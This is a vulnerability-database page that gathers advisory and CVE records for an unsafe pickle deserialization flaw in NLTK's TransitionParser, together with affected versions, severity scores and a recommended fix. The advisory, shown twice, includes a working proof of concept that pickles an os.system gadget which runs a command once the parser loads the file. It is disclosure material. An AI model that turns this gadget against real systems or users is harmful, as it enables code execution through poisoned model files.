`TransitionParser().parse(depgraphs, modelFile)` receives a filesystem path with no validation.\n\n**Exploitation path:**\n1. Attacker places a malicious pickle file at a known or attacker-controlled location\n2. Victim calls `parser.parse(sentences, \"/path/to/malicious_model.pkl\")`\n3. `pickle_load()` deserializes the file with `restricted=False` (default)\n4. Standard pickle gadget chain executes arbitrary Python code with victim\u0027s privileges\n\n**Impact:** Remote code execution with the privileges of the user running the NLTK-dependent application. Affects researchers, data scientists, and automated ML pipelines using NLTK for parsing tasks.\n\n## Steps to Reproduce\n\n### Environment\n- NLTK version: 3.8.1+ (all versions with `transitionparser.py`)\n- Python 3.6+\n- No special dependencies required\n\n### Reproduction\n\n1. Create a malicious pickle file that uses `__reduce__` to execute a system command during deserialization.\n\n2. Call `TransitionParser().parse([], \u0027/path/to/malicious_model.pkl\u0027)`.\n\n3. The `pickle_load(f)` call at `transitionparser.py:557` uses `restricted=False` by default, routing through `WarningUnpickler`, which does not override `find_class()` and permits full class resolution \u2014 executing the embedded gadget.\n\n4. Arbitrary code executes with the victim\u0027s privileges.\n\n### Proof That the Fix Works\n\nChanging line 557 in `transitionparser.py` from:\n```python\nmodel = pickle_load(f)\n```\nto:\n```python\nmodel = pickle_load(f, restricted=True)\n```\ncauses `RestrictedUnpickler` to raise an `UnpicklingError` and block execution, confirming the safe path prevents the attack.\n\n### Working PoC\n\n```python\nimport pickle\nimport os\nfrom nltk.parse.transitionparser import TransitionParser\n\n# Create malicious pickle with RCE payload\nclass Exploit:\n def __reduce__(self):\n return (os.system, (\u0027touch /tmp/nltk_poc_triggered\u0027,))\n\nwith open(\u0027/tmp/malicious_model.pkl\u0027, \u0027wb\u0027) as f:\n pickle.dump(Exploit(), f)\n\n# Trigger the vulnerable code path (requires algorithm argument in \u2264 3.9.4)\nparser = TransitionParser(\u0027arc-standard\u0027) # or \u0027arc-eager\u0027\nparser.parse([], \u0027/tmp/malicious_model.pkl\u0027) # loads and unpickles unsafely\n\n# Exploit succeeds: file /tmp/nltk_poc_triggered is created\n```\n\nOn NLTK \u2265 3.10.0 (patched), the same code fails with:\n\n```\n_pickle.UnpicklingError: global \u0027posix.system\u0027 is not in the pickle allowlist\n```\n\nThis proves the vulnerability exists in versions \u2264 3.9.4 and is fixed in 3.10.0+.\n\n## Recommended Fix\n\nChange all call sites to use `restricted=True`:\n\n| File | Line | Before | After |\n|------|------|--------|-------|\n| `nltk/parse/transitionparser.py` | 557 | `pickle_load(f)` | `pickle_load(f, restricted=True)` |\n| `nltk/parse/chartparser_app.py` | 816 | `pickle_load(model_data_file)` | `pickle_load(model_data_file, restricted=True)` |\n| `nltk/parse/chartparser_app.py` | 2273 | `pickle_load(file)` | `pickle_load(file, restricted=True)` |\n| `nltk/parse/chartparser_app.py` | 2311 | `pickle_load(fp)` | `pickle_load(fp, restricted=True)` |\n\n**Note:** This fix may affect loading older sklearn models. A more robust approach would implement a module allowlist in `RestrictedUnpickler.find_class()`.",
"id": "BREW-safety-CVE-2026-78683",
"modified": "2026-09-17T17:35:56Z",
"published": "2026-09-02T09:53:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-rhp5-r9x4-f5g2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78683"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/pull/3631"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/commit/f26b3753038d937b68145daf15e9636f8451053c"
},
{
"type": "PACKAGE",
"url": "https://github.com/nltk/nltk"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/releases/tag/v3.10.0"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3734.yaml"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/nltk-before-remote-code-execution-via-unsafe-pickle-deserialization"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "NLTK: Unsafe Pickle Deserialization in TransitionParser Allows Remote Code Execution",
"upstream": [
"PYSEC-2026-3734",
"CVE-2026-78683",
"GHSA-rhp5-r9x4-f5g2"
]
}
CVE-2026-78683 (GCVE-0-2026-78683)
Vulnerability from cvelistv5 – Published: 2026-08-25 01:30 – Updated: 2026-08-25 15:19- CWE-502 - Deserialization of Untrusted Data
| URL | Tags |
|---|---|
| https://github.com/nltk/nltk/security/advisories/… | vendor-advisory |
| https://www.vulncheck.com/advisories/nltk-before-… | third-party-advisory |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-78683",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-08-25T15:19:21.370761Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-08-25T15:19:32.286Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-rhp5-r9x4-f5g2"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"packageURL": "pkg:pypi/nltk",
"product": "nltk",
"vendor": "nltk",
"versions": [
{
"lessThan": "3.10.0",
"status": "affected",
"version": "0",
"versionType": "semver"
},
{
"status": "unaffected",
"version": "3.10.0",
"versionType": "semver"
}
]
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:nltk:nltk:*:*:*:*:*:*:*:*",
"versionEndExcluding": "3.10.0",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "analyst",
"value": "ekaf"
}
],
"datePublic": "2026-08-11T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "NLTK before 3.10.0 (affected versions \u003c=3.9.4) contains an unsafe pickle deserialization vulnerability in the TransitionParser.parse() method (nltk/parse/transitionparser.py). The method calls pickle_load() with the default restricted=False, routing deserialization through WarningUnpickler, which does not override find_class() and therefore permits arbitrary class resolution. When an application loads an attacker-crafted model file, embedded pickle gadget chains execute arbitrary Python code with the privileges of the user running the application. NLTK provides a RestrictedUnpickler for safe deserialization, but it is not used by production code paths. Fixed in 3.10.0."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 9.4,
"baseSeverity": "CRITICAL",
"privilegesRequired": "NONE",
"subAvailabilityImpact": "HIGH",
"subConfidentialityImpact": "HIGH",
"subIntegrityImpact": "HIGH",
"userInteraction": "PASSIVE",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "HIGH"
},
"format": "CVSS"
},
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.6,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-502",
"description": "Deserialization of Untrusted Data",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-25T01:30:39.451Z",
"orgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
"shortName": "VulnCheck"
},
"references": [
{
"name": "GitHub Security Advisory (GHSA-rhp5-r9x4-f5g2)",
"tags": [
"vendor-advisory"
],
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-rhp5-r9x4-f5g2"
},
{
"name": "VulnCheck Advisory: NLTK before 3.10.0 Remote Code Execution via Unsafe Pickle Deserialization",
"tags": [
"third-party-advisory"
],
"url": "https://www.vulncheck.com/advisories/nltk-before-remote-code-execution-via-unsafe-pickle-deserialization"
}
],
"title": "NLTK before 3.10.0 Remote Code Execution via Unsafe Pickle Deserialization",
"x_generator": {
"engine": "vulncheck-endgame"
}
}
},
"cveMetadata": {
"assignerOrgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
"assignerShortName": "VulnCheck",
"cveId": "CVE-2026-78683",
"datePublished": "2026-08-25T01:30:39.451Z",
"dateReserved": "2026-08-25T01:17:12.263Z",
"dateUpdated": "2026-08-25T15:19:32.286Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GHSA-RHP5-R9X4-F5G2
Vulnerability from github – Published: 2026-09-08 16:41 – Updated: 2026-09-08 16:41Summary
The NLTK library's TransitionParser.parse() method deserializes model files using pickle_load() with the default restricted=False parameter, allowing arbitrary Python code execution when loading a malicious model file. The library provides a RestrictedUnpickler class for safe deserialization, but it is never used by production code paths, leaving the vulnerability unpatched.
Root Cause
File: nltk/parse/transitionparser.py (lines 542-557)
The parse() method calls pickle_load(f) without restricted=True, routing through WarningUnpickler which inherits from pickle.Unpickler and does NOT override find_class(). This allows arbitrary class/function resolution during unpickling, enabling RCE via standard pickle gadgets (e.g., os.system, subprocess.Popen).
Vulnerability chain in nltk/picklesec.py:
def pickle_load(file, *, context=None, restricted=False):
if restricted:
return RestrictedUnpickler(file).load() # Safe: blocks all globals
return WarningUnpickler(file, context=context).load() # VULNERABLE PATH
WarningUnpickler only emits a warning but does NOT block unsafe class loading — it calls super().load() which is standard pickle.Unpickler.load().
Why this is not by design:
- NLTK intentionally created RestrictedUnpickler to block unsafe deserialization
- The restricted=True parameter exists in the API but is never used by any production code path
- All call sites use the default restricted=False: transitionparser.py:557, parse/chartparser_app.py:816, parse/chartparser_app.py:2273, parse/chartparser_app.py:2311
Attack Surface
Entry point: TransitionParser().parse(depgraphs, modelFile) receives a filesystem path with no validation.
Exploitation path:
1. Attacker places a malicious pickle file at a known or attacker-controlled location
2. Victim calls parser.parse(sentences, "/path/to/malicious_model.pkl")
3. pickle_load() deserializes the file with restricted=False (default)
4. Standard pickle gadget chain executes arbitrary Python code with victim's privileges
Impact: Remote code execution with the privileges of the user running the NLTK-dependent application. Affects researchers, data scientists, and automated ML pipelines using NLTK for parsing tasks.
Steps to Reproduce
Environment
- NLTK version: 3.8.1+ (all versions with
transitionparser.py) - Python 3.6+
- No special dependencies required
Reproduction
-
Create a malicious pickle file that uses
__reduce__to execute a system command during deserialization. -
Call
TransitionParser().parse([], '/path/to/malicious_model.pkl'). -
The
pickle_load(f)call attransitionparser.py:557usesrestricted=Falseby default, routing throughWarningUnpickler, which does not overridefind_class()and permits full class resolution — executing the embedded gadget. -
Arbitrary code executes with the victim's privileges.
Proof That the Fix Works
Changing line 557 in transitionparser.py from:
model = pickle_load(f)
to:
model = pickle_load(f, restricted=True)
causes RestrictedUnpickler to raise an UnpicklingError and block execution, confirming the safe path prevents the attack.
Working PoC
import pickle
import os
from nltk.parse.transitionparser import TransitionParser
# Create malicious pickle with RCE payload
class Exploit:
def __reduce__(self):
return (os.system, ('touch /tmp/nltk_poc_triggered',))
with open('/tmp/malicious_model.pkl', 'wb') as f:
pickle.dump(Exploit(), f)
# Trigger the vulnerable code path (requires algorithm argument in ≤ 3.9.4)
parser = TransitionParser('arc-standard') # or 'arc-eager'
parser.parse([], '/tmp/malicious_model.pkl') # loads and unpickles unsafely
# Exploit succeeds: file /tmp/nltk_poc_triggered is created
On NLTK ≥ 3.10.0 (patched), the same code fails with:
_pickle.UnpicklingError: global 'posix.system' is not in the pickle allowlist
This proves the vulnerability exists in versions ≤ 3.9.4 and is fixed in 3.10.0+.
Recommended Fix
Change all call sites to use restricted=True:
| File | Line | Before | After |
|---|---|---|---|
nltk/parse/transitionparser.py |
557 | pickle_load(f) |
pickle_load(f, restricted=True) |
nltk/parse/chartparser_app.py |
816 | pickle_load(model_data_file) |
pickle_load(model_data_file, restricted=True) |
nltk/parse/chartparser_app.py |
2273 | pickle_load(file) |
pickle_load(file, restricted=True) |
nltk/parse/chartparser_app.py |
2311 | pickle_load(fp) |
pickle_load(fp, restricted=True) |
Note: This fix may affect loading older sklearn models. A more robust approach would implement a module allowlist in RestrictedUnpickler.find_class().
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.9.4"
},
"package": {
"ecosystem": "PyPI",
"name": "nltk"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.10.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-78683"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-08T16:41:11Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "## Summary\n\nThe NLTK library\u0027s `TransitionParser.parse()` method deserializes model files using `pickle_load()` with the default `restricted=False` parameter, allowing arbitrary Python code execution when loading a malicious model file. The library provides a `RestrictedUnpickler` class for safe deserialization, but it is never used by production code paths, leaving the vulnerability unpatched.\n\n## Root Cause\n\n**File:** `nltk/parse/transitionparser.py` (lines 542-557)\n\nThe `parse()` method calls `pickle_load(f)` without `restricted=True`, routing through `WarningUnpickler` which inherits from `pickle.Unpickler` and does NOT override `find_class()`. This allows arbitrary class/function resolution during unpickling, enabling RCE via standard pickle gadgets (e.g., `os.system`, `subprocess.Popen`).\n\n**Vulnerability chain in `nltk/picklesec.py`:**\n\n```python\ndef pickle_load(file, *, context=None, restricted=False):\n if restricted:\n return RestrictedUnpickler(file).load() # Safe: blocks all globals\n return WarningUnpickler(file, context=context).load() # VULNERABLE PATH\n```\n\n`WarningUnpickler` only emits a warning but does NOT block unsafe class loading \u2014 it calls `super().load()` which is standard `pickle.Unpickler.load()`.\n\n**Why this is not by design:**\n- NLTK intentionally created `RestrictedUnpickler` to block unsafe deserialization\n- The `restricted=True` parameter exists in the API but is **never used** by any production code path\n- All call sites use the default `restricted=False`: `transitionparser.py:557`, `parse/chartparser_app.py:816`, `parse/chartparser_app.py:2273`, `parse/chartparser_app.py:2311`\n\n## Attack Surface\n\n**Entry point:** `TransitionParser().parse(depgraphs, modelFile)` receives a filesystem path with no validation.\n\n**Exploitation path:**\n1. Attacker places a malicious pickle file at a known or attacker-controlled location\n2. Victim calls `parser.parse(sentences, \"/path/to/malicious_model.pkl\")`\n3. `pickle_load()` deserializes the file with `restricted=False` (default)\n4. Standard pickle gadget chain executes arbitrary Python code with victim\u0027s privileges\n\n**Impact:** Remote code execution with the privileges of the user running the NLTK-dependent application. Affects researchers, data scientists, and automated ML pipelines using NLTK for parsing tasks.\n\n## Steps to Reproduce\n\n### Environment\n- NLTK version: 3.8.1+ (all versions with `transitionparser.py`)\n- Python 3.6+\n- No special dependencies required\n\n### Reproduction\n\n1. Create a malicious pickle file that uses `__reduce__` to execute a system command during deserialization.\n\n2. Call `TransitionParser().parse([], \u0027/path/to/malicious_model.pkl\u0027)`.\n\n3. The `pickle_load(f)` call at `transitionparser.py:557` uses `restricted=False` by default, routing through `WarningUnpickler`, which does not override `find_class()` and permits full class resolution \u2014 executing the embedded gadget.\n\n4. Arbitrary code executes with the victim\u0027s privileges.\n\n### Proof That the Fix Works\n\nChanging line 557 in `transitionparser.py` from:\n```python\nmodel = pickle_load(f)\n```\nto:\n```python\nmodel = pickle_load(f, restricted=True)\n```\ncauses `RestrictedUnpickler` to raise an `UnpicklingError` and block execution, confirming the safe path prevents the attack.\n\n### Working PoC\n\n```python\nimport pickle\nimport os\nfrom nltk.parse.transitionparser import TransitionParser\n\n# Create malicious pickle with RCE payload\nclass Exploit:\n def __reduce__(self):\n return (os.system, (\u0027touch /tmp/nltk_poc_triggered\u0027,))\n\nwith open(\u0027/tmp/malicious_model.pkl\u0027, \u0027wb\u0027) as f:\n pickle.dump(Exploit(), f)\n\n# Trigger the vulnerable code path (requires algorithm argument in \u2264 3.9.4)\nparser = TransitionParser(\u0027arc-standard\u0027) # or \u0027arc-eager\u0027\nparser.parse([], \u0027/tmp/malicious_model.pkl\u0027) # loads and unpickles unsafely\n\n# Exploit succeeds: file /tmp/nltk_poc_triggered is created\n```\n\nOn NLTK \u2265 3.10.0 (patched), the same code fails with:\n\n```\n_pickle.UnpicklingError: global \u0027posix.system\u0027 is not in the pickle allowlist\n```\n\nThis proves the vulnerability exists in versions \u2264 3.9.4 and is fixed in 3.10.0+.\n\n## Recommended Fix\n\nChange all call sites to use `restricted=True`:\n\n| File | Line | Before | After |\n|------|------|--------|-------|\n| `nltk/parse/transitionparser.py` | 557 | `pickle_load(f)` | `pickle_load(f, restricted=True)` |\n| `nltk/parse/chartparser_app.py` | 816 | `pickle_load(model_data_file)` | `pickle_load(model_data_file, restricted=True)` |\n| `nltk/parse/chartparser_app.py` | 2273 | `pickle_load(file)` | `pickle_load(file, restricted=True)` |\n| `nltk/parse/chartparser_app.py` | 2311 | `pickle_load(fp)` | `pickle_load(fp, restricted=True)` |\n\n**Note:** This fix may affect loading older sklearn models. A more robust approach would implement a module allowlist in `RestrictedUnpickler.find_class()`.",
"id": "GHSA-rhp5-r9x4-f5g2",
"modified": "2026-09-08T16:41:11Z",
"published": "2026-09-08T16:41:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-rhp5-r9x4-f5g2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78683"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/pull/3631"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/commit/f26b3753038d937b68145daf15e9636f8451053c"
},
{
"type": "PACKAGE",
"url": "https://github.com/nltk/nltk"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/releases/tag/v3.10.0"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3734.yaml"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/nltk-before-remote-code-execution-via-unsafe-pickle-deserialization"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "NLTK: Unsafe Pickle Deserialization in TransitionParser Allows Remote Code Execution"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.